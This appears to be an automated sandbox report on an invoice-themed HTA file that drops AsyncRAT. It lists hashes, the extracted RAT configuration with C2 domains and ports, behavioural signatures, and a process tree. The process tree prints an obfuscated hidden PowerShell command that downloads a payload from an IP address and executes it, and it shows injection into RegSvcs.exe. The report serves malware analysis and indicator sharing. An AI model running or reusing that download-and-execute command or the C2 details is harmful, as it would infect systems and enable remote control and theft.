Analysis
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max time kernel
151s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
15/11/2023, 17:34
Static task
static1
Behavioral task
behavioral1
Sample
16112023_0133_15112023_Invoice#2356876431.hta
Resource
win7-20231023-en
General
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Target
16112023_0133_15112023_Invoice#2356876431.hta
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Size
371B
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MD5
99153607b1542d57391bb96f7f6501a8
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SHA1
87496ae7cb23b015fb8da73af5f0fd7fc1373aa2
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SHA256
c08e13a2fe6a0b69b2c67f0fbd73c72c7c49bbdedef556da6b57197f995979e1
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SHA512
2f2bf163d4f646421dcbb1a0110007ac87701c81e57ac89335ca477784e976985d6bee92b79d1be73b327ecbfddfb399ce5a45ead6dc8f223be6d15a28cf850c
Malware Config
Extracted
asyncrat
| Edit 3LOSH RAT
Sended@
hexrxr.duckdns.org:6606
hexrxr.duckdns.org:7707
hexrxr.duckdns.org:8808
AsyncMutex_85&$nkeo4%hifbe
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delay
3
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install
false
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install_folder
%AppData%
Signatures
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Detect ZGRat V1 1 IoCs
resource yara_rule behavioral2/memory/4904-48-0x0000022075130000-0x000002207514A000-memory.dmp family_zgrat_v1 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/3184-49-0x0000000000400000-0x0000000000416000-memory.dmp asyncrat -
Blocklisted process makes network request 2 IoCs
flow pid Process 30 852 mshta.exe 36 4016 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4904 set thread context of 3184 4904 powershell.exe 114 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4016 powershell.exe 4016 powershell.exe 4904 powershell.exe 4904 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4016 powershell.exe Token: SeDebugPrivilege 4904 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 852 wrote to memory of 4016 852 mshta.exe 92 PID 852 wrote to memory of 4016 852 mshta.exe 92 PID 852 wrote to memory of 4016 852 mshta.exe 92 PID 4872 wrote to memory of 1832 4872 WScript.exe 111 PID 4872 wrote to memory of 1832 4872 WScript.exe 111 PID 1832 wrote to memory of 4904 1832 cmd.exe 113 PID 1832 wrote to memory of 4904 1832 cmd.exe 113 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 PID 4904 wrote to memory of 3184 4904 powershell.exe 114 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16112023_0133_15112023_Invoice#2356876431.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4016
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C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Public\Conted.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Conted.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Conted.ps1'"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:3184
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
18KB
MD5314959276fcbaa5fa5b31c8e49de1d0e
SHA18a3414c59816f766f6fbd77803fc92eee838c552
SHA256202b174e43662acf51eb04e5e9bbc90b24c0dea103aed76baf966ca175ae8ec7
SHA5121282d949b65409578388a0ff2c9830c6b9a94e22c936ce0978107a2c9b47be97eac808a7914bfc4bc977be545730b9d0f4457a0c57bbccbdde1be6249fc7e554
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
205B
MD5759278dd3dc3679bf7efd1ec681c0aa1
SHA172b37494696deea940ac75b4c4e06e2b6ce419ef
SHA256cba344447d8228d88c93d64ffdcda1de8562ef41adc4901191548e00bbfc5f19
SHA5128b4f63354c5aa1ec4102e7aadbb2da34b2a0ba2d3ae6b8d22a70fd75c3c3b9e70cd4ce8128bd50cb400970697c49810c4ef69f96352e36ba4f2b7a647ab8a27f
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Filesize
422KB
MD5ba03b4e7a4ad2bd4a2f5bce388d8f489
SHA1f71681ee8115d4349084ad5c26e790a926bbea84
SHA256d6b98f02b41a30cd4578acfd549e2d6fe64036f00c1830193d342c0454068b5a
SHA5126dc307567baa0a1def8b9e480477985ccbdb7e5628c4d972a5804b282006d0717ddd728c449f8fbfcd2669a1a868c516d5924ab3a1f3d1b8e4bd1272fc04c665
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Filesize
688B
MD5110da9d3474ba64fa1a18c173685c25d
SHA19f093829518a9268bf9807fda7bef47e7832c497
SHA256a31dbd6f7416f150403c19be69f02d5e8608f5e7fae88a29831d40db15849b60
SHA512ef5fb4415fbd12e633ad964ca132ac3be81bfacd489db788b86fc7ef245d6f51bc08faecaf24874649d0c754b1892075a28042bf8483ab85b1996a25cfa57443